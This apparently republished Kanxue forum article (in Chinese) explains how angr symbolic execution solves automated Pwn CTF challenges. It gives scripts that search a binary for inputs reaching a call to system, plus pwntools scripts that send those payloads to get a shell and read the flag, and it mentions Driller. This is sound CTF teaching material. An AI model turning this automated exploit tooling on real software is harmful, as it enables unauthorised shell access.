符号执行在自动化Pwn中的简单利用
2021-04-08 18:58:00 Author: mp.weixin.qq.com(查看原文) 阅读量:156 收藏

本文为看雪论坛精华文章

看雪论坛作者ID:34r7hm4n

本文为自动化Pwn类型线下赛(纵横杯)中,可靠符号执行解决的两种题型。

0x00. 符号执行基础

符号执行是指在不执行程序的前提下,用符号值表示程序变量的值,然后模拟程序执行来进行相关分析的技术。与具体执行不同,具体执行每次执行仅存在一条唯一的执行路径(即程序控制流),而符号执行会探索所有可能的执行路径,并用符号值表示到达该路径所需要的输入条件。

用下述程序举例:
int m=M, n=N, q=Q;int x1=0,x2=0,x3=0;if(m!=0){    x1=-2;}if(n<12){    if(!m && q)    {        x2=1;    }    x3=2;}assert(x1+x2+x3!=3)

上述代码是一个简单的c语言分支结构代码,它的输入是M,N,Q三个变量;输出是x1,x2,x3的三个变量的和。我们这里设置的条件是想看看什么样的输入向量<M,N,Q>的情况下,得到的三个输出变量的和等于3。那么我们通过下面的树形结构来看看所有的情况:

从上图中我们可以看到执行到每条路径的输入需要满足的条件,当R=3时,输入需要满足的条件是M != 0 && N < 5 && Q != 0。
 
本文使用的符号执行工具是angr,有关angr的使用方法可以查看官方文档:

https://docs.angr.io/

0x01. 题型1:程序存在逻辑问题,触发错误逻辑getshell

本次纵横杯的第5题,程序非常简单,伪代码如下:
这题大体是个while+switch结构,只要能执行到上图中红框部分即可getshell。程序非常简单,所以可以直接用angr一把梭:
import angrfrom binascii import b2a_hex def angr_run():    proj = angr.Project('./bin5')    state = proj.factory.entry_state()    simgr = proj.factory.simgr(state)    simgr.explore(find=0x08048783)    payload = simgr.found[0].posix.dumps(0)    print(f'payload={b2a_hex(payload)}') angr_run()

输出:

因为angr和pwntools不兼容,所以计算payload和getshell我分成了两个脚本来写,getshell脚本:
from pwn import *from binascii import a2b_heximport re sh = process('./bin5')sh.sendline(a2b_hex('310a320a'))sh.sendline('cat flag.txt')flag = sh.recvall(timeout=5)flag = re.findall(r'\{(.*?)\}', flag.decode())print(f'flag=flag{{{flag[0]}}}')

输出:

比赛之前也没想到有这种可以直接用angr一把梭的题,痛失1w奖金。

0x02. 题型2:简单的路径搜索,考察AI对分支的判断

线上调试时的第一道例题,比赛前我针对这道例题的结构写了个exp,没想到比赛题的结构完全不一样,所以也没跑出来呜呜。但我觉得这道例题对我们学习符号执行帮助也很大,所以拿出讲一讲。

这题的核心是通过前面的n各分支,只能要执行到最后即可getshell:
CFG大概是这个样子,总之非常恐怖:

这题没法用angr直接explore,于是我在群里问了几个师傅的想法,拿到了师傅的一篇博客(赚到赚到):关于Faster的那些事...

( https://myts2.cn/2020/05/24/guan-yu-fasterde-na-xie-shi/ )

总的来说,用符号执行解决这种分支问题有两个思路:
(1) 找到所有从函数入口到system函数的路径,对每条路径进行操作,在每两个基本块之间进行explore。
(2) 找到所有从函数入口到system函数的路径,将其他不在路径上的基本块地址添加到avoid_list中,再从函数入口开始explore。
我这里采取的是第二种思路,因为如果考虑多条路径的情况第一种思路很难写。
 
这里计算avoid_list的原因是此题的分支数巨大,每一个分支条件语句都可能会使当前的路径再分支出一条新的路径,而且这是”指数级”增长的,也就是说符号执行所需要的时间和空间都会随分支数的增长而”指数级”增长,这显然是我们不愿看到的。

所以我们需要计算avoid_list,使符号执行引擎忽略某些根本不可能到达system函数的路径,这样在一定程度上避免了上述问题。
 
因为是自动化pwn,一开始我们并不知道system函数的地址,所以先求得system函数的地址(题型1中的exp省略了这个步骤):
proj = angr.Project(bin_path, load_options={'auto_load_libs': False})proj_cfg = proj.analyses.CFGFast()system_addr = get_system_addr(proj_cfg)

'''获取system函数的地址'''def get_system_addr(cfg):    for func_addr in cfg.functions:        func = cfg.functions.get(func_addr)        if func.name == 'system':            return func_addr    return None
然后找到哪些函数中存在call system指令,找到这些函数的地址,以及call system指令所在基本块的地址:
if system_addr == None:    return []print(f'Found system function in {hex(system_addr)}.')payload_list = []for func_addr in proj_cfg.functions:    try:        func = proj_cfg.functions.get(func_addr)        cfg = func.transition_graph        cfg = to_supergraph(cfg)         for node in cfg.nodes:            block = proj.factory.block(node.addr)            for inst in block.capstone.insns:                if inst.mnemonic == 'call' and inst.op_str == hex(system_addr):                    target_func = func_addr                    target_block = block.addr                    target_cfg = cfg                    print(f'Found target function in {hex(target_func)}')                    print(f'Found target block in {hex(target_block)}')                    payload_list += explore_func(proj, target_func, target_block, target_cfg)    except Exception as ex:        print(ex)

对调用了system函数的函数进行符号执行,也就是调用上述代码中的explore_func函数,传入目标函数的地址、system("/bin/sh")所在基本块的地址以及目标函数的CFG。
 
按照我们之前说的思路,首先我们要找到一条从函数入口到目标基本块的一条路径,然后将不在路径上的其他基本块地址添加到avoid_list中。实现如下:
'''获取避免执行到的地址列表关键!可以大大提高angr符号执行速度'''def get_avoid_list(cfg, start, target):    if start.addr == target:        return (True, [])    succs = list(cfg.successors(start))    if len(succs) == 0:        return (False, [start.addr])    elif len(succs) == 1:        can_reach_target, avoid_list = get_avoid_list(cfg, succs[0], target)        if can_reach_target:            return (True, avoid_list)        else:            avoid_list.append(start.addr)            return (False, avoid_list)    elif len(succs) == 2:        can_reach_target0, avoid_list0 = get_avoid_list(cfg, succs[0], target)        can_reach_target1, avoid_list1 = get_avoid_list(cfg, succs[1], target)        if can_reach_target0 and can_reach_target1:            return (True, [])        elif not can_reach_target0 and not can_reach_target1:            avoid_list = avoid_list0 + avoid_list1            avoid_list.append(start.addr)            return (False, avoid_list)        else:            avoid_list = avoid_list0 + avoid_list1            return (True, avoid_list)    else:        exit(0)

搜索路径的方法是DFS(深度优先搜索),不了解DFS的朋友可以看一看这篇文章:图的基本算法(BFS和DFS)

(https://www.jianshu.com/p/70952b51f0c8)

得到了avoid_list之后就可以直接进行explore了:
'''对目标函数进行符号执行,求解到达call system执行所需要的输入'''def explore_func(proj, target_func, target_block, target_cfg):    can_reach_target, avoid_list = get_avoid_list(target_cfg, list(target_cfg.nodes)[0], target_block)    state = proj.factory.call_state(target_func)    simgr = proj.factory.simgr(state)    simgr.use_technique(angr.exploration_techniques.DFS())    simgr.explore(find=target_block, avoid=avoid_list)    payload_list = []    for found in simgr.found:        payload_list.append(found.posix.dumps(0))    return payload_list

注意这里的:
simgr.use_technique(angr.exploration_techniques.DFS())

含义是采取DFS策略进行符号执行。angr默认的符号执行方式类似BFS,即一次会有多个active state同时进行step,DFS策略会使符号执行过程中一次只有一个active state进行step:
其实我也没明白这里为什么用DFS会快一点,总之能跑就行233。
 
完整代码:
import angrfrom angrmanagement.utils.graph import to_supergraphfrom binascii import b2a_hex '''获取system函数的地址'''def get_system_addr(cfg):    for func_addr in cfg.functions:        func = cfg.functions.get(func_addr)        if func.name == 'system':            return func_addr    return None '''获取避免执行到的地址列表关键!可以大大提高angr符号执行速度'''def get_avoid_list(cfg, start, target):    if start.addr == target:        return (True, [])    succs = list(cfg.successors(start))    if len(succs) == 0:        return (False, [start.addr])    elif len(succs) == 1:        can_reach_target, avoid_list = get_avoid_list(cfg, succs[0], target)        if can_reach_target:            return (True, avoid_list)        else:            avoid_list.append(start.addr)            return (False, avoid_list)    elif len(succs) == 2:        can_reach_target0, avoid_list0 = get_avoid_list(cfg, succs[0], target)        can_reach_target1, avoid_list1 = get_avoid_list(cfg, succs[1], target)        if can_reach_target0 and can_reach_target1:            return (True, [])        elif not can_reach_target0 and not can_reach_target1:            avoid_list = avoid_list0 + avoid_list1            avoid_list.append(start.addr)            return (False, avoid_list)        else:            avoid_list = avoid_list0 + avoid_list1            return (True, avoid_list)    else:        exit(0) '''对目标函数进行符号执行,求解到达call system执行所需要的输入'''def explore_func(proj, target_func, target_block, target_cfg):    can_reach_target, avoid_list = get_avoid_list(target_cfg, list(target_cfg.nodes)[0], target_block)    state = proj.factory.call_state(target_func)    simgr = proj.factory.simgr(state)    simgr.use_technique(angr.exploration_techniques.DFS())    simgr.explore(find=target_block, avoid=avoid_list)    payload_list = []    for found in simgr.found:        payload_list.append(found.posix.dumps(0))    return payload_list '''求解所有可行的payload'''def explore_payload(bin_path):    proj = angr.Project(bin_path, load_options={'auto_load_libs': False})    proj_cfg = proj.analyses.CFGFast()    system_addr = get_system_addr(proj_cfg)    if system_addr == None:        return []    print(f'Found system function in {hex(system_addr)}.')    payload_list = []    for func_addr in proj_cfg.functions:        try:            func = proj_cfg.functions.get(func_addr)            cfg = func.transition_graph            cfg = to_supergraph(cfg)             for node in cfg.nodes:                block = proj.factory.block(node.addr)                for inst in block.capstone.insns:                    if inst.mnemonic == 'call' and inst.op_str == hex(system_addr):                        target_func = func_addr                        target_block = block.addr                        target_cfg = cfg                        print(f'Found target function in {hex(target_func)}')                        print(f'Found target block in {hex(target_block)}')                        payload_list += explore_func(proj, target_func, target_block, target_cfg)        except Exception as ex:            print(ex)    return payload_list def angr_run():    payload_list = explore_payload('./bin1')    print(payload_list)    for payload in payload_list:        print('payload=' +  b2a_hex(payload).decode()) angr_run()
输出:

getshell:
from pwn import *from binascii import a2b_heximport re sh = process('./bin1')sh.sendline(a2b_hex('310a6dbe0a0a2b310a31240a0a310a310a0a310a310a'))sh.sendline('cat flag.txt')flag = sh.recvall(timeout=5)flag = re.findall(r'\{(.*?)\}', flag.decode())print(f'flag=flag{{{flag[0]}}}')

输出:
两道题目的文件可以在附件中下载。

0x03. 符号执行与fuzz的结合

符号执行与fuzz结合一个比较著名的例子是Driller:
https://github.com/shellphish/driller
我们队在比赛中也使用了Driller,可惜没达到效果。

Driller在AFL的基础上加入了动态符号执行引擎,当模糊测试发生stuck时,使用动态符号执行去突破这些限制,生成满足fuzz需求的新输入,使得fuzz能够继续执行。

总体上说,Driller结合了AFL的高效、低消耗、快速的优点和动态符号执行探索能力强的优点,又避免了AFL较难突破特殊的边界和动态符号执行路径爆炸的问题。

更详细的内容可以参考这篇文章:
Driller】Driller介绍及源码分析

(https://blog.csdn.net/Chen_zju/article/details/80791281)

本文中附件请点击左下角阅读原文自行下载

- End -

看雪ID:34r7hm4n

https://bbs.pediy.com/user-home-910514.htm

  *本文由看雪论坛 34r7hm4n  原创,转载请注明来自看雪社区。

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458383447&idx=1&sn=142f873cf701902b0e1e7db824fc8ee4&chksm=b180c4dd86f74dcbd392043710a8fbe2565eeace07dca32185de58574c2b34391a562b7dbbff#rd
如有侵权请联系:admin#unsafe.sh